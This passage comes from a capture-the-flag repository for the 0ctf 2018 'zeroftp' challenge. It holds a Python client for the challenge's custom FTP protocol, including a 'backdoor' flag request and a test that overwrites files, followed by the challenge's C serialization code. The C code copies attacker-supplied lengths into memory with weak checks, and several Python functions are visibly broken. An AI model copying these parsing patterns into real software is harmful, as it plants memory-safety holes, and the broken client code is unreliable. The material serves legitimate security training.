def zero_pack_string(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 2)
    payload  = chr(info)
    payload += data
    payload += '\x00' # null terminal
    return payload

def zero_unpack_string(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0 ,3)
    assert zero_basic_types == 0x2
    data = payload[1:1+payload.index('\x00')]
    if len(payload) == 1 + len(data):
        return data[:-1]
    else:
        return data[:-1], payload[1+len(data):]

def zero_pack_raw(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 3)
    if len(data) <= 15:
        info = BITS_SET_VAL(info, 3, 4, 0)
        info = BITS_SET_VAL(info, 4, 8, len(data))
        payload  = chr(info)
        payload += payload
    else:
        len_len = len(bin(len(data))[2:])//8 + 1
        raw_len= pack(len(data), 8*len_len, endian='little')
        info = BITS_SET_VAL(info, 3, 4, 1)
        info = BITS_SET_VAL(info, 4, 8, len_len)
        payload  = chr(info)
        payload += raw_len
        payload += data
    return payload

def zero_unpack_raw(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3);
    assert zero_basic_types == 3
    zero_raw_type = BITS(zero_info, 3, 4)
    zero_raw_len  = BITS(zero_info, 4, 8)
    raw_len = 0 
    if (zero_raw_type == 0):
        data = payload[1:1+zero_raw_len]
    else:
        raw_len = unpack(payload[1:1+zero_raw_len], 8*zero_raw_len, endian='little')
        data = payload[1+zero_raw_len:1+zero_raw_len+raw_len]
    if len(payload) == 1 + zero_raw_len + raw_len:
        return data
    else:
        return data, payload[1+len(data):]

def zero_pack_int(data, endian):
    int_len = len(bin(data)[2:])//8 + 1
    payload = pack(data, 8*int_len, endian=endian)
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 4)
    info = BITS_SET_VAL(info, 4, 5, int(endian == 'big'))
    info = BITS_SET_VAL(info, 5, 8, int_len-1);
    payload = chr(info) + payload
    return payload

def zero_unpack_int(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 4
    zero_int_type = BITS(zero_info, 3, 4)
    zero_int_len = BITS(zero_info, 5, 8)+1
    zero_int_endian = BITS(zero_info, 4, 5)
    data = unpack(payload[1:1+zero_int_len], 8*zero_int_len, endian='big' if
                zero_int_endian == 1 else 'little')
    if len(payload) == 1 + zero_int_len:
        return data
    else:
        return data, payload[1+zero_int_len]

def zero_pack_list(data, list_len):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 5)
    if (list_len <= 15):
        info = BITS_SET_VAL(info, 3, 4, 0)
        info = BITS_SET_VAL(info, 4, 8, list_len)
        payload  = chr(info)
        for i in xrange(list_len):
            payload += data[i]
    else:
        list_len_len = len(bin(len(list_len))[2:])//8 + 1
        list_len = pack(len(list_len), 8*list_len_len, endian='little')
        info = BITS_SET_VAL(info, 3, 4, 1)
        info = BITS_SET_VAL(info, 4, 8, list_len_len)
        payload = chr(info)
        for i in xrange(list_len):
            payload += data[i]
    return

def zero_unpack_list(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 5
    zero_list_type = BITS(zero_info, 3, 4)
    zero_list_len  = BITS(zero_info, 4, 8)
    ret = []
    if zero_list_type == 0:
        payload = payload[1:]
        for i in xrange(zero_list_len):
            wtf = zero_unpack(payload)
            if type(wtf) == tuple:
                payload = wtf[1]
                ret.append(wtf[0])
            else:
                ret.append(wtf)
            #log.debug('aaaaaaaaa {}'.format(ret))
    else:
        if zero_list_len >= 6:
            return 0
        else:
            list_len = unpack(payload[1:1+zero_list_len], 8*zero_list_len, endian='little')
            payload = payload[1+zero_list_len:]
            for i in xrange(list_len):
                payload = zero_unpack(payload)
    return ret

def zero_pack(data, types):
    if zero_basic_types == 'bool':
        ret = zero_pack_bool(data)
    elif zero_basic_types == 'string':
        ret = zero_pack_string(data)
    elif zero_basic_types == 'raw':
        ret = zero_pack_raw(data)
    elif zero_basic_types == 'int':
        ret = zero_pack_int(data)
    elif zero_basic_types == 'list':
        ret = zero_pack_list(payload)
    return ret

def zero_unpack(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types < 6
    if zero_basic_types == 1:
        log.debug('recv: bool')
        ret =  zero_unpack_bool(payload)
    elif zero_basic_types == 2:
        log.debug('recv: string')
        ret = zero_unpack_string(payload)
    elif zero_basic_types == 3:
        log.debug('recv: raw')
        ret = zero_unpack_raw(payload)
    elif zero_basic_types == 4:
        log.debug('recv: int')
        ret = zero_unpack_int(payload)
    elif zero_basic_types == 5:
        log.debug('recv: list')
        ret = zero_unpack_list(payload)
    return ret

#### recv and send
def zero_recv():
    magic = recv(1)
    assert magic == '\xdd'
    data_length = u32(recv(4), endian='big')
    #log.info('data_length {}'.format(data_length))
    data = recv(data_length)
    #log.info('data {}'.format(hexdump(data)))
    data_crc32 = u32(recv(4), endian='big')
    assert crc.crc_32(data) == data_crc32
    #log.info(data.encode('hex'))
    return zero_unpack(data)

def zero_send(data):
    magic = '\xdd'
    data_len = p32(len(data), endian='big')
    data_crc32 = p32(crc.crc_32(data), endian='big')
    payload  = magic + data_len + data + data_crc32
    send(payload)

## menu
def zeroftp_login(username, password):
    payload  = zero_pack_int(0x1, endian='big')
    payload += zero_pack_string(username)
    payload += zero_pack_raw(md5sum(password))
    zero_send(payload)
    if zero_recv() == 1:
        log.debug('login success')
    else:
        log.debug('login fail')

def zeroftp_ls(directory):
    payload  = zero_pack_int(0x2, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_cd(directory):
    payload  = zero_pack_int(0x3, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_mkdir(directory):
    payload  = zero_pack_int(0x4, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 
    return 

def zeroftp_rmdir(directory):
    payload  = zero_pack_int(0x5, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 
    return 

def zeroftp_rdfile(filename):
    payload  = zero_pack_int(0x6, endian='big')
    payload += zero_pack_string(filename)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_wrfile(filename, content):
    payload  = zero_pack_int(0x7, endian='big')
    payload += zero_pack_string(filename)
    payload += zero_pack_raw(content)
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_rmfile():
    payload  = zero_pack_int(0x8, endian='big')
    return 

def zeroftp_fileinfo(pathname, fileinfo_elem):
    payload  = zero_pack_int(0x9, endian='big')
    payload += zero_pack_string(pathname)
    payload += zero_pack_int(fileinfo_elem, endian='big')
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_setfileinfo(pathname, fileinfo_elem, arg3):
    payload  = zero_pack_int(0xa, endian='big')
    payload += zero_pack_string(pathname)
    payload += zero_pack_int(fileinfo_elem, endian='big')
    payload += zero_pack_string(pathname)
    if fileinfo_elem == 0:
        payload += zero_pack_string(arg3)
    else:
        payload += zero_pack_int(arg3, endian='big')

    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_backdoor():
    payload  = zero_pack_int(0xb, endian='big')
    payload += zero_pack_string('flag')
    #payload += zero_pack_raw('b1111111111111gtang')
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_exit():
    return 

def test():
    zeroftp_login('admin', 'admin')
    zeroftp_wrfile('./flag','hackedhackedhacked')
    zeroftp_wrfile('./test1','hackedhackedhacked')
    zeroftp_wrfile('./test2','hackedhackedhacked')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format(directory))
    content = zeroftp_rdfile('./flag')
    log.info('file {} content {}'.format('./flag', content))
    zeroftp_fileinfo('./flag', 0)
    zeroftp_setfileinfo('test1', 0, 'test2')
    zeroftp_setfileinfo('test1', 1, 1)
    zeroftp_mkdir('./zzz')
    zeroftp_cd('./zzz')
    zeroftp_wrfile('./123','hackedhackedhacked')
    zeroftp_wrfile('./456','hackedhackedhacked')
    zeroftp_wrfile('./abc','hackedhackedhacked')
    content = zeroftp_rdfile('./456')
    log.info('file {} content {}'.format('./456', content))
    zeroftp_cd('/')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format('./flag', directory))
    zeroftp_rmdir('/')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format(directory))



================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zero_pack.c
================================================
#include "zero_pack.h"
#include "zero_utils.h"
#include <string.h>
#include <stdint.h>
#include <stdio.h>

//#define DEBUG

#ifdef DEBUG2
#define LOG(...) printf(__VA_ARGS__)
#else
#define LOG(...)
#endif

/*
 * bits[0:3] - types
 *
 * types:
 *  1. bool
 *      bits[3] - value 0 or 1
 *  2. string
 *      null terminated
 *  3. raw
 *      bits[3] - short raw (0) or long raw (1)
 *      if short raw
 *          bits[4:8] - length
 *      else if long raw
 *          bits[4:8] - length of length
 *  4. int
 *      bits[4] - endian
 *      bits[5:8] - length
 *  5. list
 *      bits[3:8] - length of length
 */

#define CHECK_MALLOC(ptr, err) { \
	do { \
		if ((ptr) == (err)) { \
			exit(-1); \
		} \
	} while (0); \
}

uint8_t *g_buf;
size_t g_buf_len;

int zero_unpack_bool(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_basic) {
    uint8_t *payload = in;
    zero_info_t zero_info;
    uint8_t zero_basic_types;
    zero_basic_t *zero_basic = NULL;

    zero_info = payload[0];

    zero_basic_types = BITS(zero_info, 0, 3);

    if (zero_basic_types != 0x1) {
        return RET_FAILED;
    } else {
        zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
        CHECK_MALLOC(zero_basic, NULL);
        memset(zero_basic, 0, sizeof(zero_basic_t));
        zero_basic->type = 1;
        zero_basic->len = 1;
        zero_basic->ptr = malloc(1);
        *(uint8_t *)(zero_basic->ptr) = BITS(zero_info, 3, 4);

        *out_p = in+1;
        *p_zero_basic = zero_basic;

        LOG("unpack bool %d\n", *(uint8_t *)(zero_basic->ptr));

        return RET_SUCCESS;
    }

}

int zero_unpack_string(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_basic) {
    uint8_t *payload = in;
    zero_info_t zero_info;
    uint8_t zero_basic_types;
    zero_basic_t *zero_basic = NULL;

    zero_info = payload[0];

    zero_basic_types = BITS(zero_info, 0, 3);

    if (zero_basic_types != 0x2) {
        return RET_FAILED;
    } else {
        zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
        CHECK_MALLOC(zero_basic, NULL);
        memset(zero_basic, 0, sizeof(zero_basic_t));
        zero_basic->type = 2;
        zero_basic->len = strlen(payload+1)+1;
        zero_basic->ptr = malloc(zero_basic->len);
        CHECK_MALLOC(zero_basic->ptr, NULL);
        memset((uint8_t *)zero_basic->ptr, 0, zero_basic->len);
        strcpy(zero_basic->ptr, payload+1);

        *out_p = in+1+zero_basic->len;
        *p_zero_basic = zero_basic;

        LOG("unpack string %s\n", (uint8_t *)(zero_basic->ptr));

        return RET_SUCCESS;
    }
}

int zero_unpack_raw(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_basic) {
    uint8_t *payload = in;
    zero_info_t zero_info;
    uint8_t zero_basic_types;
    uint8_t zero_raw_type = 0;
    uint8_t zero_raw_len = 0;
    size_t zero_raw_long_len = 0;
    zero_basic_t *zero_basic = NULL;

    zero_info = payload[0];

    zero_basic_types = BITS(zero_info, 0, 3);

    if (zero_basic_types != 0x3) {
        return RET_FAILED;
    } else {
        zero_raw_type = BITS(zero_info, 3, 4);
        zero_raw_len = BITS(zero_info, 4, 8);

        if (!zero_raw_type) {
            /* short raw */
            zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
            CHECK_MALLOC(zero_basic, NULL);
            memset(zero_basic, 0, sizeof(zero_basic_t));
            zero_basic->type = 3;
            zero_basic->len = zero_raw_len;
            zero_basic->ptr = malloc(zero_raw_len);
            CHECK_MALLOC(zero_basic->ptr, NULL);
            memset((uint8_t *)zero_basic->ptr, 0, zero_raw_len);
            memcpy(zero_basic->ptr, payload+1, zero_raw_len);

            *out_p = in+1+zero_basic->len;
            *p_zero_basic = zero_basic;

            LOG("unpack short raw %s\n", (uint8_t *)(zero_basic->ptr));

            return RET_SUCCESS;
        } else {
            /* long raw */
            if (zero_raw_len >= 6) {
                return RET_FAILED;
            } else {
                uint64_t tmp = 1;
                for (int i = 0; i < zero_raw_len; i++, tmp*=0x100) {
                    zero_raw_long_len += payload[1+i]*tmp;
                }

                zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
                CHECK_MALLOC(zero_basic, NULL);
                memset(zero_basic, 0, sizeof(zero_basic_t));
                zero_basic->type = 3;
                zero_basic->len = zero_raw_long_len;
                zero_basic->ptr = malloc(zero_raw_long_len);
                CHECK_MALLOC(zero_basic->ptr, NULL);
                memset((uint8_t *)zero_basic->ptr, 0, zero_raw_long_len);
                memcpy(zero_basic->ptr, payload+1+zero_raw_len, zero_raw_long_len);

                *out_p = in+1+zero_basic->len+zero_raw_len;
                *p_zero_basic = zero_basic;

                LOG("unpack long raw %s length %lu\n", (uint8_t *)(zero_basic->ptr), zero_raw_long_len);

                return RET_SUCCESS;
            }
        }
    }

}

int zero_unpack_int(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_basic) {
    uint8_t *payload = in;
    zero_info_t zero_info;
    uint8_t zero_basic_types;
    uint8_t zero_int_type = 0;
    uint8_t zero_int_len = 0;
    uint8_t zero_int_endian = 0;
    uint64_t zero_int_val = 0;
    zero_basic_t *zero_basic = NULL;

    zero_info = payload[0];

    zero_basic_types = BITS(zero_info, 0, 3);

    if (zero_basic_types != 0x4) {
        return RET_FAILED;
    } else {
        zero_int_type = BITS(zero_info, 3, 4);
        zero_int_len = BITS(zero_info, 5, 8)+1;
        zero_int_endian = BITS(zero_info, 4, 5);

        if (!zero_int_endian) {
            /* little endian */
            zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
            CHECK_MALLOC(zero_basic, NULL);
            memset(zero_basic, 0, sizeof(zero_basic_t));
            zero_basic->type = 4;
            zero_basic->len = zero_int_len;
            zero_basic->ptr = malloc(9);
            CHECK_MALLOC(zero_basic->ptr, NULL);

            uint64_t tmp = 1;
            for (int i = 0; i < zero_int_len; i++, tmp*=0x100) {
                zero_int_val += payload[1+i]*tmp;
            }
            *((uint64_t *)(((char *)zero_basic->ptr)+1)) = zero_int_val;
            *((char *)zero_basic->ptr) = zero_int_endian;

            *out_p = in+1+zero_basic->len;
            *p_zero_basic = zero_basic;

            LOG("unpack int little endian %lx\n", *((uint64_t *)(((char *)zero_basic->ptr)+1)));

            return RET_SUCCESS;
        } else {
            /* big endian */
            zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
            CHECK_MALLOC(zero_basic, NULL);
            memset(zero_basic, 0, sizeof(zero_basic_t));
            zero_basic->type = 4;
            zero_basic->len = zero_int_len;
            zero_basic->ptr = malloc(9);
            CHECK_MALLOC(zero_basic->ptr, NULL);

            uint64_t tmp = 1;
            for (int i = 0; i < zero_int_len; i++, tmp*=0x100) {
                zero_int_val += payload[1+zero_int_len-i-1]*tmp;
            }
            *((uint64_t *)(((char *)zero_basic->ptr)+1)) = zero_int_val;
            *((char *)zero_basic->ptr) = zero_int_endian;

            *out_p = in+1+zero_basic->len;
            *p_zero_basic = zero_basic;

            LOG("unpack int big endian %lx\n", *((uint64_t *)(((char *)zero_basic->ptr)+1)));

            return RET_SUCCESS;

        }
    }

}

//int zero_unpack_list(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_basic) {
//    uint8_t *payload = in;
//    uint8_t *payload_in, *payload_out;
//    zero_info_t zero_info;
//    uint8_t zero_basic_types;
//    uint8_t zero_list_type = 0;
//    uint8_t zero_list_len = 0;
//    size_t zero_list_long_len = 0;
//    zero_basic_t *zero_basic = NULL;
//    zero_basic_t *zero_basic_tmp = NULL;
//
//    zero_info = payload[0];
//
//    zero_basic_types = BITS(zero_info, 0, 3);
//
//    if (zero_basic_types != 0x5) {
//        return RET_FAILED;
//    } else {
//        zero_list_type = BITS(zero_info, 3, 4);
//        zero_list_len = BITS(zero_info, 4, 8);
//
//        if (!zero_list_type) {
//            /* short list */
//            zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
//            CHECK_MALLOC(zero_basic, NULL);
//            memset(zero_basic, 0, sizeof(zero_basic_t));
//            zero_basic->type = 5;
//            zero_basic->len = zero_list_len;
//            zero_basic->ptr = malloc(sizeof(zero_basic_t *)*zero_list_len);
//            CHECK_MALLOC(zero_basic->ptr, NULL);
//            memset(zero_basic->ptr, 0, sizeof(zero_basic_t *)*zero_list_len);
//
//            payload_in = payload+1;
//            for (int i = 0; i < zero_list_len; i++) {
//                zero_unpack(payload_in, &payload_out, &zero_basic_tmp);
//                ((zero_basic_t **)zero_basic->ptr)[i] = zero_basic_tmp;
//                payload_in = payload_out;
//            }
//
//            *out_p = payload_out;
//            *p_zero_basic = zero_basic;
//
//            LOG("unpack short list %d\n", zero_list_len);
//
//            return RET_SUCCESS;
//        } else {
//            /* long list */
//            if (zero_list_len >= 6) {
//                return RET_FAILED;
//            } else {
//                uint64_t tmp = 1;
//                for (int i = 0; i < zero_list_len; i++, tmp*=0x100) {
//                    zero_list_long_len += payload[1+i]*tmp;
//                }
//
//                zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
//                CHECK_MALLOC(zero_basic, NULL);
//                memset(zero_basic, 0, sizeof(zero_basic_t));
//                zero_basic->type = 5;
//                zero_basic->len = zero_list_long_len;
//                zero_basic->ptr = malloc(sizeof(zero_basic_t *)*zero_list_long_len);
//                CHECK_MALLOC(zero_basic->ptr, NULL);
//                memset(zero_basic->ptr, 0, sizeof(zero_basic_t *)*zero_list_long_len);
//
//                payload_in = payload+1+zero_list_len;
//                for (int i = 0; i < zero_list_long_len; i++) {
//                    zero_unpack(payload_in, &payload_out, &zero_basic_tmp);
//                    ((zero_basic_t **)zero_basic->ptr)[i] = zero_basic_tmp;
//                    payload_in = payload_out;
//                }
//
//                *out_p = payload_out;
//                *p_zero_basic = zero_basic;
//
//                LOG("unpack long list %d\n", zero_list_long_len);
//
//                return RET_SUCCESS;
//            }
//        }
//    }
//}

static inline int zero_pack_bool(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {
    uint8_t *payload = in;
    size_t payload_len = 0;
    uint8_t info = 0x0;
    uint8_t val = *(uint8_t *)zero_basic->ptr;

    payload_len += 1;
    info = BITS_SET_VAL(info, 0, 3, 1); // types
    info = BITS_SET_VAL(info, 3, 4, val); // bool
    *payload = info;
    *out_p = payload+payload_len;

} __attribute__((always_inline))

static inline int zero_pack_string(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {
    uint8_t *payload = in;
    uint8_t info = 0x0;
    uint8_t *str = (uint8_t *)zero_basic->ptr;
    size_t str_len = 0;

    info = BITS_SET_VAL(info, 0, 3, 2); // types
    *payload = info;
    payload += 1;

    str_len = strlen(str);
    strcpy(payload, str);
    payload += str_len+1;
    *out_p = payload;

} __attribute__((always_inline))

static inline int zero_pack_raw(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {
    uint8_t *payload = in;
    uint8_t info = 0x0;
    uint8_t *raw = (uint8_t *)zero_basic->ptr;
    size_t raw_len = zero_basic->len;
    size_t raw_len_len = 0;

    if (raw_len <= 15) {
        info = BITS_SET_VAL(info, 0, 3, 3); // types
        info = BITS_SET_VAL(info, 3, 4, 0); // short or long
        info = BITS_SET_VAL(info, 4, 8, raw_len); // len
        *payload = info;
        payload += 1;

        memcpy(payload, raw, raw_len);
        payload += raw_len;
        *out_p = payload;
    } else {
        info = BITS_SET_VAL(info, 0, 3, 3); // types
        info = BITS_SET_VAL(info, 3, 4, 1); // short or long

        payload += 1;
        for (int i = raw_len; i; i/=0x100) {
            *payload = i%0x100;
            payload += 1;
            raw_len_len += 1;
        }

        info = BITS_SET_VAL(info, 4, 8, raw_len_len); // len of len
        *(payload-raw_len_len-1) = info;
        memcpy(payload, raw, raw_len);
        payload += raw_len;
        *out_p = payload;
    }

} __attribute__((always_inline))

static inline int zero_pack_int(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {

    uint8_t *payload = in;
    uint8_t info = 0x0;
    uint64_t int_val = *(uint64_t *)(((char *)zero_basic->ptr)+1);
    uint8_t int_endian = *((char *)zero_basic->ptr);
    uint8_t int_len = zero_basic->len;


    info = BITS_SET_VAL(info, 0, 3, 4); // types
    info = BITS_SET_VAL(info, 4, 5, int_endian); // endian
    info = BITS_SET_VAL(info, 5, 8, int_len-1);
    *payload = info;
    payload += 1;

    if (!int_endian) {
        /* little endian */
        uint64_t tmp = 1;
        for (int i = 0; i < int_len; i++, tmp*=0x100) {
            *(payload+i) = int_val/tmp;
        }
    } else {
        /* big endian */
        uint64_t tmp = 1;
        for (int i = 0; i < int_len; i++, tmp*=0x100) {
            *(payload+int_len-1-i) = int_val/tmp;
        }
    }
    payload += int_len;

    *out_p = payload;

} __attribute__((always_inline))

static inline int zero_pack_list(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {
    uint8_t *payload = in;
    uint8_t *payload_in = in+1;
    uint8_t *payload_out = in;
    uint8_t info = 0x0;
    uint8_t *list = (uint8_t *)zero_basic->ptr;
    size_t list_len = zero_basic->len;
    size_t list_len_len = 0;

    if (list_len <= 15) {
        info = BITS_SET_VAL(info, 0, 3, 5); // types
        info = BITS_SET_VAL(info, 3, 4, 0); // short or long
        info = BITS_SET_VAL(info, 4, 8, list_len); // len
        *payload = info;
        payload += 1;

        payload_out = payload;
        for (int i = 0; i < list_len; i++) {
            zero_pack(((zero_basic_t **)zero_basic->ptr)[i], payload_in, &payload_out);
            payload_in = payload_out;
        }
        *out_p = payload_out;
    } else {
        info = BITS_SET_VAL(info, 0, 3, 5); // types
        info = BITS_SET_VAL(info, 3, 4, 1); // short or long

        payload += 1;
        for (int i = list_len; i; i/=0x100) {
            *payload = i%0x100;
            payload += 1;
            list_len_len += 1;
        }

        info = BITS_SET_VAL(info, 4, 8, list_len_len); // len of len
        *(payload-list_len_len-1) = info;

        payload_in = payload;
        payload_out = payload;
        for (int i = 0; i < list_len; i++) {
            zero_pack(((zero_basic_t **)zero_basic->ptr)[i], payload_in, &payload_out);
            payload_in = payload_out;
        }
        *out_p = payload_out;
    }

} __attribute__((always_inline))

//int zero_unpack(uint8_t *in, uint8_t **out_p, zero_basic_t **p_zero_basic) {
//    zero_info_t zero_info;
//    uint8_t zero_basic_types;
//    int result;
//    zero_info = in[0];
//    zero_basic_types = BITS(zero_info, 0, 3);
//
//    switch(zero_basic_types) {
//        case 1:
//            result = zero_unpack_bool(in, out_p, p_zero_basic);
//            return result;
//        case 2:
//            result = zero_unpack_string(in, out_p, p_zero_basic);
//            return result;
//            break;
//        case 3:
//            result = zero_unpack_raw(in, out_p, p_zero_basic);
//            return result;
//            break;
//        case 4:
//            result = zero_unpack_int(in, out_p, p_zero_basic);
//            return result;
//            break;
//        case 5:
//            result = zero_unpack_list(in, out_p, p_zero_basic);
//            return result;
//            break;
//        default:
//            return RET_FAILED;
//            break;
//    }
//}

size_t zero_pack_bool_len(zero_basic_t *zero_basic) {
    return 1;
}

size_t zero_pack_string_len(zero_basic_t *zero_basic) {
    return zero_basic->len+2;
}

size_t zero_pack_raw_len(zero_basic_t *zero_basic) {
    size_t raw_len = zero_basic->len;
    if (raw_len <= 15) {
        return raw_len+1;

    } else {
        size_t raw_len_len = 0;
        for (int i = raw_len; i; i/=0x100) {
            raw_len_len += 1;
        }
        return raw_len_len+raw_len+1;
    }
}

size_t zero_pack_int_len(zero_basic_t *zero_basic) {
    return zero_basic->len+1;
}

size_t zero_pack_list_len(zero_basic_t *zero_basic) {
    size_t len = 0;
    for (int i = 0; i < zero_basic->len; i++) {
        len += zero_pack_len(((zero_basic_t **)zero_basic->ptr)[i]);
    }
    return len+1;
}

size_t zero_pack_len(zero_basic_t *zero_basic) {
    uint8_t zero_basic_types;
    int result;
    zero_basic_types = zero_basic->type;

    switch(zero_basic_types) {
        case 1:
            result = zero_pack_bool_len(zero_basic);
            return result;
        case 2:
            result = zero_pack_string_len(zero_basic);
            return result;
        case 3:
            result = zero_pack_raw_len(zero_basic);
            return result;
        case 4:
            result = zero_pack_int_len(zero_basic);
            return result;
        case 5:
            result = zero_pack_list_len(zero_basic);
            return result;
        default:
            return RET_FAILED;
            break;
    }
}

int zero_pack(zero_basic_t *zero_basic, uint8_t *in, uint8_t **out_p) {
    uint8_t zero_basic_types;
    int result;
    zero_basic_types = zero_basic->type;

    switch(zero_basic_types) {
        case 1:
            result = zero_pack_bool(zero_basic, in, out_p);
            return result;
        case 2:
            result = zero_pack_string(zero_basic, in, out_p);
            return result;
        case 3:
            result = zero_pack_raw(zero_basic, in, out_p);
            return result;
        case 4:
            result = zero_pack_int(zero_basic, in, out_p);
            return result;
        case 5:
            result = zero_pack_list(zero_basic, in, out_p);
            return result;
        default:
            return RET_FAILED;
            break;
    }
}

void zero_basic_bool_free(zero_basic_t *zero_basic) {
    free(zero_basic->ptr);
    free(zero_basic);
}

void zero_basic_string_free(zero_basic_t *zero_basic) {
    free(zero_basic->ptr);
    free(zero_basic);
}

void zero_basic_raw_free(zero_basic_t *zero_basic) {
    free(zero_basic->ptr);
    free(zero_basic);
}

void zero_basic_int_free(zero_basic_t *zero_basic) {
    free(zero_basic->ptr);
    free(zero_basic);
}

void zero_basic_list_free(zero_basic_t *zero_basic) {
    size_t len = 0;
    for (int i = 0; i < zero_basic->len; i++) {
        zero_basic_free(((zero_basic_t **)zero_basic->ptr)[i]);
    }
    free(zero_basic->ptr);
    free(zero_basic);
}

void zero_basic_free(zero_basic_t *zero_basic) {
    uint8_t zero_basic_types;
    int result;
    zero_basic_types = zero_basic->type;

    switch(zero_basic_types) {
        case 1:
            zero_basic_bool_free(zero_basic);
            break;
        case 2:
            zero_basic_string_free(zero_basic);
            break;
        case 3:
            zero_basic_raw_free(zero_basic);
            break;
        case 4:
            zero_basic_int_free(zero_basic);
            break;
        case 5:
            zero_basic_list_free(zero_basic);
            break;
        default:
            break;
    }
}

void zero_bool_new(zero_basic_t **zero_basic_p, uint8_t val) {
    zero_basic_t *zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
    CHECK_MALLOC(zero_basic, NULL);
    memset(zero_basic, 0, sizeof(zero_basic_t));
    zero_basic->type = 1;
    zero_basic->len = 1;
    zero_basic->ptr = malloc(1);
    CHECK_MALLOC(zero_basic->ptr, NULL);
    *(uint8_t *)(zero_basic->ptr) = val;
    *zero_basic_p = zero_basic;
}

void zero_string_new(zero_basic_t **zero_basic_p, char *str) {
    zero_basic_t *zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
    CHECK_MALLOC(zero_basic, NULL);
    memset(zero_basic, 0, sizeof(zero_basic_t));
    zero_basic->type = 2;
    zero_basic->len = strlen(str)+1;
    zero_basic->ptr = malloc(zero_basic->len);
    CHECK_MALLOC(zero_basic->ptr, NULL);
    strcpy(zero_basic->ptr, str);
    *zero_basic_p = zero_basic;
}

void zero_raw_new(zero_basic_t **zero_basic_p, uint8_t *raw, size_t len) {
    zero_basic_t *zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
    CHECK_MALLOC(zero_basic, NULL);
    memset(zero_basic, 0, sizeof(zero_basic_t));
    zero_basic->type = 3;
    zero_basic->len = len;
    zero_basic->ptr = malloc(len);
    CHECK_MALLOC(zero_basic->ptr, NULL);
    memcpy(zero_basic->ptr, raw, len);
    *zero_basic_p = zero_basic;
}

void zero_int_new(zero_basic_t **zero_basic_p, uint64_t val, uint8_t endian) {
    uint8_t len = 0;
    uint64_t val_tmp = val;

    if (val == 0) {
        len = 1;
    } else {
        for (int i = val_tmp; val_tmp; val_tmp/=0x100) {
            len++;
        }
    }

    zero_basic_t *zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
    CHECK_MALLOC(zero_basic, NULL);
    memset(zero_basic, 0, sizeof(zero_basic_t));
    zero_basic->type = 4;
    zero_basic->len = len;
    zero_basic->ptr = malloc(9);
    CHECK_MALLOC(zero_basic->ptr, NULL);
    memset(zero_basic->ptr, '\0', 9);
    *((char *)zero_basic->ptr) = endian;
    *((uint64_t *)(((char *)zero_basic->ptr)+1)) = val;
    *zero_basic_p = zero_basic;
}

void zero_list_new(zero_basic_t **zero_basic_p, zero_basic_t **list) {
    zero_basic_t *tmp;
    size_t len = 0;

    PTRARRAY_LEN(list, len);

    //while (list[len]) {
    //    len++;
    //}

    //printf("%ld\n", len);

    zero_basic_t *zero_basic = (zero_basic_t *)malloc(sizeof(zero_basic_t));
    CHECK_MALLOC(zero_basic, NULL);
    memset(zero_basic, 0, sizeof(zero_basic_t));
    zero_basic->type = 5;
    zero_basic->len = len;
    zero_basic->ptr = malloc(len*8);
    CHECK_MALLOC(zero_basic->ptr, NULL);
    memcpy(zero_basic->ptr, list, len*8);
    *zero_basic_p = zero_basic;
}

#ifdef DEBUG

static void zero_bool_test() {
    zero_basic_t *tmp;
    zero_basic_t *zero_basic;

    zero_bool_new(&zero_basic, 1);

    uint8_t *in = malloc(0x300);
    uint8_t *out;
    zero_pack(zero_basic, in, &out);
    LOG("%lx\n", out-in);
    zero_unpack(in, &out, &tmp);
    //zero_unpack_bool(in, &out, &tmp);
    LOG("%lx\n\n", out-in);
}

static void zero_string_test() {
    zero_basic_t *tmp;
    zero_basic_t *zero_basic;

    zero_string_new(&zero_basic, "ABCDABCDABCDABCD");

    uint8_t *in = malloc(0x300);
    uint8_t *out;
